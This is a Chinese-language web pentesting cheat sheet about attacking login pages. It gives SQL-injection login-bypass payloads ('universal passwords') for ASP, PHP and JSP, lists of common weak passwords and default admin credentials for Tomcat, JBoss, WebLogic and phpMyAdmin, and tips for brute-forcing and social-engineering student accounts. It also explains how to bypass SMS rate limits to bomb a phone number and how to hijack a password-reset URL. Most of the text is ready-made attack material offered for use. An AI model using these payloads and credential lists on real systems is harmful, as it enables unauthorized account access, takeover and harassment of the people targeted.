首先在进入登陆界面时,一般都是先用万能密码什么的测下输入框有没有注入(现在很少见了)。如果没有,那就先拿admin,123456什么的测试下弱口令,不求运气爆棚一下就猜到密码。主要是看下回显,查看是否存在账号锁定策略,密码不正确,不存在此用户名等信息,以便于尝试遍历可能存在的用户名。没验证码就上爆破工具,有验证码的话看看能不能绕过,实在不行手工测几个账号密码碰碰运气。

爆破除了普通的用户名密码字典爆破,还有一种姿势是固定密码爆破用户名。比如使用固定密码123456,爆破常用用户名或者常用人名拼音。

目录扫描:说不定能扫描到后台未授权访问的链接、备份文件、编辑器、敏感信息等。fuzz工具试试wfuzz

框架漏洞:

对一些CMS,已经比较成熟了,漏洞确实不好挖。如果网上(乌云,seebug,搜索引擎等)的历史漏洞没有复现成功,那一般情况下就只能寻找下逻辑漏洞、网站管理员配置错误或者弱口令什么的。

对于一些不知名的框架,一般也可通过登陆界面底下的声明中找到开发公司和产品版本时间。

在网上找找此公司产品是否爆出过漏洞。若是开源的框架,还可下载源码进行代码审计寻找漏洞。

像java的站,登陆页面是.do或.action的网址。可尝试下struts2命令执行漏洞,本人一般使用安恒的S2漏洞验证工具。

社工:

像教育站,登陆账号可能是学号,密码是身份证后六位。百度查xxx学校一卡通丢失,一般就能从某学生的失物启示找到学号。

或者在文章标题下,若存在作者名字,可能就是用户名

密码除结合管理员电话,qq,姓名等外,还可注意下网站的一些关键词。

社工密码字典生成,在线网站生成:

hashcat这款爆破工具也能生成社工字典

逻辑漏洞:云短信接受平台:

越权:更改返回包,禁用js文件、审查网站源码、

快速在网站的js文件中提取URL,子域名的工具:JSFinder

密码明文传输


图1设置火狐浏览器


图2获取http敏感数据

通过使用burpsuite进行抓包也是一样的,只要配置好了burpsuite,我们也可以抓取这些敏感数据,如图3所示:


图3获取http明文数据

任意用户注册

注册的地方,很简单


忘记密码处逻辑漏洞

案例介绍:问题出现在忘记密码处,可以通过手机找回和邮箱找回密码两种方式获得指定帐户的新密码设置权限

进入忘记密码,填写想要获取权限帐号的ID

获得url

选择邮箱找回

获得url:

系统已将新密码设置url发送给邮箱

此时只需要将前面获取的url修改一下

即可获得设置该用户新密码的权限

短信、邮件炸弹

现在的很多项目都少不了给用户手机号或者邮箱账号发短信邮件之类的,但是很多发送短信都是借助于第三方接口来发送短信的,这样一来,发送的短信就是有限制的,收费的哦。如果系统做的不太好,有些小漏洞,被白帽子发现还好,要是被那些黑帽子发现了,少则几千,严重者可能导致公司倒闭啊。即使不被黑帽子攻击,有些恶意的用户也可能对我们的系统进行破坏,上一个项目的2.0版本,就正好碰上这种事情,漏洞被恶意用户发现了,拿来玩耍,结果导致公司一夜之间少了好几千,老大只好让人连夜修补漏洞,前车之鉴,我们要把别人撞到头破血流的经验拿来当做自己的经验,所以说还是谨慎些好,做好一些能想到的安全措施。看一下他们是怎么发送短信炸弹的右下角,编辑和重发,输入手机号就不停的发送短信了,你可知道这些短信都是公司花钱买的,就因为漏洞暴露在别人面前,他们拿来玩耍,就给公司带来很多不必要的损失,所以一定要注意项目的各种安全隐患。解决办法:就是每个手机号每天只能发送5次短信,每个ip每分钟只能发送1次

短信轰炸,一般人可能抓包重放失败后就放弃了。这里有个技巧,

是从西门吹雪师傅博文里学到的绕过的姿势:

发送短信处一般每隔60秒才能发送一次


但若是发包时在手机号后加上一个空格、加号或换行符等特殊字符。然后重新发送,这时若发送成功,则说明可绕过限制。


此时在intruder模块只要持续递增空格就可造成无限短信轰炸


弱口令

频率比较高的公共弱口令:

(Top100):

123456a123456123456a5201314111111woaini1314qq1234561231230000001qaz2wsx1q2w3e4r

qwe1237758521123qwea123123123456aawoaini520woaini1002001314520woaini123123321

q123456123456789123456789a5211314asd123a123456789z123456asd123456a5201314aa123456

zhang123aptx4869123123a1q2w3e4r5t1qazxsw25201314a1q2w3eaini6q1w2e3r4

123456qqwoaini5211234qwera111111520520iloveyouabc123110110111111a123456abcw123456

7758258123qweasd159753qwer1234a000000qq123123zxc123123654abc123456123456qqq5201314

12345678000000a456852as12345633521521qazwsx123zxc123456abcd1234asdasd

666666love1314QAZ123aaa123q1w2e3aaaaaaa1233211230001111111112qwaszx5845201314

s123456nihao123caonima123zxcvbnm123wang1231593571A2B3C4Dasdasd123584520753951147258

1123581321110120qq1314520

对于网站后台而言,一般为:

admin

manager

admin123

admin888

admin666

具体来说,不同的后台类型拥有不同的弱密码:

数据库(phpmyadmin):账号:root,密码:root、root123、123456

tomcat:账号:admin、tomcat、manager,密码:admin、tomcat、admin123、123456、manager

jboss:账号:admin、jboss、manager,密码:admin、jboss、manager、123456

weblogic:账号:weblogic、admin、manager,密码:weblogic、admin、manager、123456

万能密码

aspaspx万能密码
1:"or"a"="a
2:')or('a'='a
3:or1=1--
4:'or1=1--
5:a'or'1=1--
6:"or1=1--
7:'or'a'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
11:1or'1'='1'=1
12:1or'1'='1'or1=1
13:'OR1=1%00
14:"or1=1%00
15:'xor
16:新型万能登陆密码
用户名'UNIONSelect1,1,1FROMadminWhere''='(替换表名admin)
密码1
Username=-1%cf'unionselect1,1,1aspassword,1,1,1%23
Password=1
17..admin'or'a'='a密码随便

PHP万能密码
'or'='or'

'or1=1/*字符型GPC是否开都可以使用
User:something
Pass:'OR'1'='1
jsp万能密码
1'or'1'='1
admin'OR1=1/*
用户名:admin系统存在这个用户的时候才用得上
密码:1'or'1'='1

登录绕过

后台验证密码SQL语句:
sql="select*fromManage_UserwhereUserName='"name"'AndPassWord='"encrypt(pwd)"'"将用户名和密码放入查询语句中查询数据库,

在用户名处提交'or'='or',这样就使得SQL语句变成:select*fromManage_UserwhereUserName='’or‘='or''AndPassWord='123456'。((假or真or假and(真/假))=真)执行后得到rs对象的结果为真,这样就能顺利的进入后台了。